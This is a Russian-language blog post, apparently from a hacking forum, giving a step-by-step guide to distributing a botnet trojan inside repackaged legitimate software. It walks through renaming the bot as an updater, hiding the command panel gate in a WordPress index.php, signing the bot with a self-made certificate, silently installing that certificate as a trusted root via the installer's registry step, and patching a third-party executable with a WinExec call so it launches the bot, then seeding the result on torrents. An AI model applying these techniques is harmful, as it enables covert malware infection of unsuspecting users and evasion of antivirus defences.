ads slot

Latest Posts:

Срочно нужен инженер схемотехник! Опыт проектирования схем в Altium Designer; ТК; Подробнее здесь

Эффективное протроянивание, или собираем свой ботнет




Всем привет, с Вами KaeraK, и моя первая «статья» :)

Сегодня, я бы хотел с Вами поделится своими мыслями, о том, как можно весьма "беспалевно" распространить малварь среди пользователей. Этот метод хорош тем, что у нас получается не тупая склейка с извлечением в Temp, а весьма аккуратный метод, который в плане детекта со стороны АВ продержится очень долго. Он основан на скрытой установке своего сертификата в систему, и подписи им нашего бота (и не только, но этот пункт основной).

Приятнее же смотреть свойства бота и видеть:





И так приступим! :)



Алгоритм действий:
  • Настройка бота, установка админки на хост.
  • Создание сертификата, и подпись бота, подготовка к установке сертификата в систему.
  • Обработка программы стороннего разработчика.
  • Сборка инсталятора.


Для этого нам понадобятся следующие вещи:
  • Программа для создания инсталяторов (я буду приводить пример на Smart Install Maker).
  • Криптор.
  • "Набор" для создания цифровой подписи.
  • Для удобства виртуальная машина (нам потребуется "снять" одну запись в реестре, можно использовать Regmon... но опишу как удобнее мне).
  • OllyDbg.
  • Любая программа стороннего разработчика (берите инсталлеры, для их распаковки используйте Universal Extractor)
  • И сам бот/троян.


Настройка бота, установка админки на хост.


Не буду обьяснять на конкретном примере, так как у каждого свои нравы по выбору бота, но дам пару "советов" по этому этапу:

  • Используйте утилиту OgreGUI дабы заменить стандартные строки бота (например имя, под которым бот пишется в реестр, или копируется в другую дирректорию). Заменять следует на слова "update" либо что-то в этом роде (почему так: при установке программы стороннего разработчика, "бот будет выступать в роли программы обновления" этой самой программы. И со стороны СИ (Социальной Инженерии), даже если сработает фаервол, то покажет процесс "Update", юзверь заглянет в ту дирректорию, а у нас то бот подписан :) А если еще с иконкой (что-то вроде ), и версией, то вообще накладно получается, юзверь подумает "ага, значит в инет лезет дабы обновится, ну ок, пропустим его" :)


Если имеется админка, и Вы любитель бесплатных хостов, также стоит сделать "профилактику", и придерживатся таких мер:

  • Ставим любой движок, будь то WordPress или vBulletin.
  • Если имеется гейт, куда стучится бот, то его содержимое суем в начало index.php движка, со стороны будет выглядеть как обычное посещение сайта - лучше, ежели будет активность в дирректории хоста www.pupeikin.com/adm/gate.php например.. (опытный админ конечно и наш случай грохнет, но ботов 100-200 он "выдержит").
  • Во всех скриптах почистите лишние слова (как обычно бывает "Botnet Center", "Stealer" и пр.). Также можно зашифровать содержимое каждого файла base64 кодировкой)).
  • Если Вы не заходите в админку довольно часто, тогда в корень САЙТА ставьте .htaccess файл с содержимым (по необходимости убираете, это не так уж и трудно):


    Код:


    deny from all


    (убережет от посторонних глаз, и будет "отбивать" запросы бота - минус лишнее внимание со стороны админов).
  • Про VPN/Socks5 напоминать думаю не стоит.


Создание сертификата, и подпись бота, подготовка к установке сертификата в систему.

"Вдохновление" с сертификатами было получено с античата и хабра


Создаем bat-файл с следующим содержимым:


Код:


makecert -n "CN=Morgan Software Corporation" -a sha1 -eku 1.3.6.1.5.5.7.3.3 -r -sv sertifikat.pvk sertifikat.cer -ss Root -sr localMachine

cert2spc.exe sertifikat.cer sertifikat.spc

PVKIMPRT.EXE -pfx sertifikat.spc sertifikat.pvk

signtool.exe sign /v /f sertifikat.pfx /p 1111 /t http://timestamp.verisign.com/scripts/timestamp.dll /d "Generic Host Process for Win32 Services" /v bot.exe

pause



И ложим рядом с ним нашего бота, bot.exe, и сами программы, которые необходимы для создания сертификата и подписи им бота (Cert2Spc.exe, makecert.exe, PVKIMPRT.exe, signtool.exe)

Запускаем батник...



Вводим любой пароль (в данном случае он ВСЮДУ будет одинаковым - 1111) и нажимаем ОК. Следующие два шага так само:









Далее у нас появляется окошко, где ставим точку напротив "Да, экспортировать закрытый ключ", и жмем "Далее", "Далее", вводим ПАРОЛЬ (1111), и в корне сохраняем файл с именем "sertifikat.pfx", в конце жмем "Готово", и вуаля:





Наш бот подписан :)



Далее вкратце теория: все сертификаты, хранятся в реестре (HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\SystemCertif icates\) по группам (Личные; Другие пользователи; Промежуточные центры сертификации; Доверенные корневые центры сертификации; Доверенные издатели; Издатели, не имеющие доверия)





И каждый сертификат является неким бинарным значением





Цель: нам нужно установить СВОЙ сертификат (будем ставить в AuthRoot) и экспортировать в *reg файл. Для этого будем использовать утилиту certmgr.exe.



Создаем батник:


Код:


certmgr.exe -add -c sertifikat.cer -s -r localMachine AuthRoot


И ложим рядом с sertifikat.cer и программой certmgr.exe

Может у меня и глупый метод, но под руками не было никакого монитора реестра, а виртуалка была, вот и решил выкрутится..: удалить ВСЕ ветки В SystemCertificates. Удалили? Ок, теперь запускаем вышесозданный батник, и обновляем реестр, опа, добавился наш сертификат :)

Далее мы его экспортируем в *reg файл..





этот этап мы успешно прошли! ;)



Обработка программы стороннего разработчика.


(Если у нас есть инсталятор с програмой, то распаковываем его с помощью программы Universal Extractor)

Далее, по нашей задумке каково: исполняемый файл программы стороннего разработчика, при запуске, должен запускать нашего бота (а по идее программу для обновления ее самой, СИ :)), как это реализовать? Да запросто!)

(для "тренировки, советую почитать статью Как внедрить код в exe-файл (Перевод статьи Iman Karim))

Наш метод очень схож с тем, что описан в статье, только использовать мы будем совершенно другую функцию, а именно WinExec (она находится в kernel32.dll)

Во избежании тупого копипаста, и развития собственных навыков в работе с OllyDbg, просто процитирую и обьясню сам код)



Синтаксис функции таков:


Код:


UINT WINAPI WinExec(

  __in  LPCSTR lpCmdLine,

  __in  UINT uCmdShow

);



В OllyDbg вводится так:


Код:


PUSH 1    //1 (показывать окно) или 0 (фоновый режим)

PUSH *****    //указываем на строку с названием файла (желательно файл с названием Update.exe)

CALL WinExec    //вызываем функцию



Ниже визуальное представление того, что я написал





Copy to executable => All modifications...

На этом этапе все :)



Сборка инсталятора.


Запускаем Smart Install Maker (можно Advanced Installer, InstallShield и т.д... но Smart попроще в работе) Приближенно копируем информацию (версия, иконка) с оригинального инсталятора, импортируем все файлы (не забываем про нашего бота в корне с программой стороннего разработчика, которую мы "обработали").

Переходим на вкладку "Требования": видал множество лоадеров/ботов которые написаны на C#, и соответственноо требуют фреймворк, можем указать галочку "Проверять версию .NET Framework" (заставим нашего юзера, скачать фреймворк, как раз под нашего бота :))

А теперь, наш немаловажный понт, вкладка "Реестр"





Просто импортируем наш, *reg файл, который "инсталирует" наш сертификат.



На этом собственно и все, можно смело брать штурмом торенты! :pivo:




"Набор" для создания цифровой подписи + ресурсы

Пароль на архив: xaker.name
Share on Google Plus

Автор Expert

Я простой житель планеты земля.

Комментарии

comments powered by HyperComments

Алексей Навальный

Мухамеду Али было 74 года

ali from Mab on Vimeo . Он говорил, что хотел бы дожить до ста лет. Мохаммед Али – один из самых известных боксеров в истории мировог...

Получайте обновления на Email

Проблемы на работе?